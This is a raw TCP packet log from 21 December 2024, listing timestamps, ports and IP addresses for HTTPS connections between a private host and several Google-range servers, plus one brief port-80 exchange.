Dec 21, 2024 08:41:15.043992043 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:15.044076920 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:15.044321060 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:15.044336081 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:15.087116957 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:15.087366104 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:15.087412119 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:15.087935925 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:15.088294983 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:15.088385105 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:15.088579893 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:15.088650942 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:15.088661909 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:15.822978020 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:15.825737000 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:15.825820923 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:15.826133013 CET	49826	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:15.826191902 CET	443	49826	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:16.250375986 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:16.250642061 CET	49829	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:16.250670910 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:16.251967907 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:16.252446890 CET	49829	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:16.252619982 CET	49829	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:16.252629042 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:16.252871037 CET	49829	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:16.252908945 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:16.737724066 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:16.738056898 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:16.738121033 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:16.738612890 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:16.738905907 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:16.739001989 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:16.739123106 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:16.779328108 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:17.061487913 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:17.061785936 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:17.061856031 CET	49829	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:17.063174963 CET	49829	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:17.063199997 CET	443	49829	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:17.539874077 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:17.540030003 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:17.540113926 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:17.540121078 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:17.540159941 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:17.541064978 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:17.541129112 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:17.701551914 CET	49835	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:17.701565027 CET	443	49835	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:17.949337959 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:17.949384928 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:17.949709892 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:17.949897051 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:17.949918985 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:18.336558104 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:18.336622000 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:18.336684942 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:18.337503910 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:18.337522030 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:19.642251968 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:19.642775059 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:19.642838001 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:19.644364119 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:19.644646883 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:19.644788980 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:19.644865990 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:19.644876957 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:19.644896030 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:19.821511030 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:19.821538925 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.008739948 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.030818939 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:20.032289982 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:20.032320023 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:20.033494949 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:20.034374952 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:20.034548998 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:20.224409103 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:20.546269894 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.546348095 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.546385050 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.546394110 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.546418905 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.546464920 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.546511889 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.560956955 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.560990095 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.561001062 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.561021090 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.561062098 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.569417953 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.621339083 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.621364117 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.665726900 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.665788889 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.665821075 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.665932894 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.665977955 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.666246891 CET	49849	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.666261911 CET	443	49849	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.678656101 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.678698063 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:20.678761005 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.679167986 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:20.679187059 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:22.375932932 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:22.387974024 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:22.388051987 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:22.389317989 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:22.390427113 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:22.390654087 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:22.390722990 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:22.435329914 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.063474894 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.063538074 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.063575029 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.063607931 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.063746929 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.063746929 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.063781023 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.077636003 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.077706099 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.077745914 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.077759981 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.077815056 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.086005926 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.098566055 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.098632097 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.098645926 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.187071085 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.187182903 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.187242031 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.258596897 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.259809971 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.259862900 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.259886026 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.259960890 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.267124891 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.275768042 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.275830030 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.275860071 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.288562059 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.288650990 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.288670063 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.302289009 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.302362919 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.302376986 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.315031052 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.315090895 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.315104961 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.326193094 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.326422930 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.326432943 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.339020014 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.339219093 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.339227915 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.352154016 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.353051901 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.353061914 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.364595890 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.365428925 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.365439892 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.377370119 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.377424002 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.377450943 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.390156984 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.390218973 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.390235901 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.447192907 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.447257996 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.447282076 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.449907064 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.449949026 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.449949980 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.449963093 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.450014114 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.456275940 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.458779097 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.458838940 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.458868980 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.470999002 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.471052885 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.471060991 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.483597040 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.483678102 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.483685970 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.495023966 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.496568918 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.496577024 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.506603003 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.506664991 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.506674051 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.518007040 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.518064976 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.518080950 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.529834032 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.529908895 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.529925108 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.530087948 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:23.530138969 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.533849001 CET	49858	443	192.168.2.4	142.250.181.46
Dec 21, 2024 08:41:23.533876896 CET	443	49858	142.250.181.46	192.168.2.4
Dec 21, 2024 08:41:27.232800961 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:27.232841969 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:27.232935905 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:27.233874083 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:27.233886957 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:28.921936035 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:28.924879074 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:28.924913883 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:28.925369024 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:28.925992966 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:28.926069975 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:28.926163912 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:28.926218987 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:28.926239014 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:29.727623940 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:29.727762938 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:29.727938890 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:29.728468895 CET	49874	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:29.728483915 CET	443	49874	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:29.728503942 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:29.728552103 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:29.728668928 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:30.096312046 CET	49850	443	192.168.2.4	172.217.19.228
Dec 21, 2024 08:41:30.096330881 CET	443	49850	172.217.19.228	192.168.2.4
Dec 21, 2024 08:41:32.544523954 CET	49892	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:41:32.664416075 CET	80	49892	192.124.216.14	192.168.2.4
Dec 21, 2024 08:41:32.664866924 CET	49892	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:41:32.697237015 CET	49892	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:41:32.817553043 CET	80	49892	192.124.216.14	192.168.2.4
Dec 21, 2024 08:41:34.013183117 CET	80	49892	192.124.216.14	192.168.2.4
Dec 21, 2024 08:41:34.013217926 CET	80	49892	192.124.216.14	192.168.2.4
Dec 21, 2024 08:41:34.013268948 CET	49892	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:41:34.426860094 CET	49892	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:41:35.714118958 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:35.714162111 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:35.714243889 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:35.732263088 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:35.732290030 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.274507999 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.274570942 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.274720907 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.274949074 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.274976969 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.276364088 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.276407003 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.276464939 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.276659966 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.276674032 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.422743082 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.430952072 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.430978060 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.431716919 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.431794882 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.433139086 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.433199883 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.433351040 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.433465958 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.433541059 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:37.433557034 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:37.562695980 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.221050978 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.223297119 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.223365068 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.223407984 CET	443	49903	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.223434925 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.223472118 CET	49903	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.224353075 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.224410057 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.224469900 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.224725008 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.224744081 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.964982033 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.965321064 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.965364933 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.965929031 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.966269970 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.966412067 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.966430902 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.966456890 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.966521025 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.969836950 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.970073938 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.970102072 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.970630884 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.971175909 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.971260071 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:38.971297026 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.971362114 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:38.971368074 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:39.108128071 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:39.700687885 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:39.702955961 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:39.704065084 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:39.704132080 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:39.704437971 CET	49905	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:39.704457045 CET	443	49905	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:39.705323935 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:39.705378056 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:39.705553055 CET	49906	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:39.705570936 CET	443	49906	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.109883070 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.131372929 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.131422043 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.132874966 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.132955074 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.135540009 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.135596991 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.135900021 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.136082888 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.136090040 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.136101961 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.136135101 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.254849911 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.254918098 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.359004021 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.842096090 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.842470884 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:41:40.842535019 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.843759060 CET	49912	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:41:40.843785048 CET	443	49912	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:06.003298998 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:06.003341913 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:06.003411055 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:06.003712893 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:06.003724098 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:07.693049908 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:07.693383932 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:07.693461895 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:07.693833113 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:07.694163084 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:07.694252968 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:07.694339991 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:07.694339991 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:07.694391012 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:08.490216017 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:08.492901087 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:08.492958069 CET	49975	443	192.168.2.4	142.250.181.110
Dec 21, 2024 08:42:08.493501902 CET	49975	443	192.168.2.4	142.250.181.110
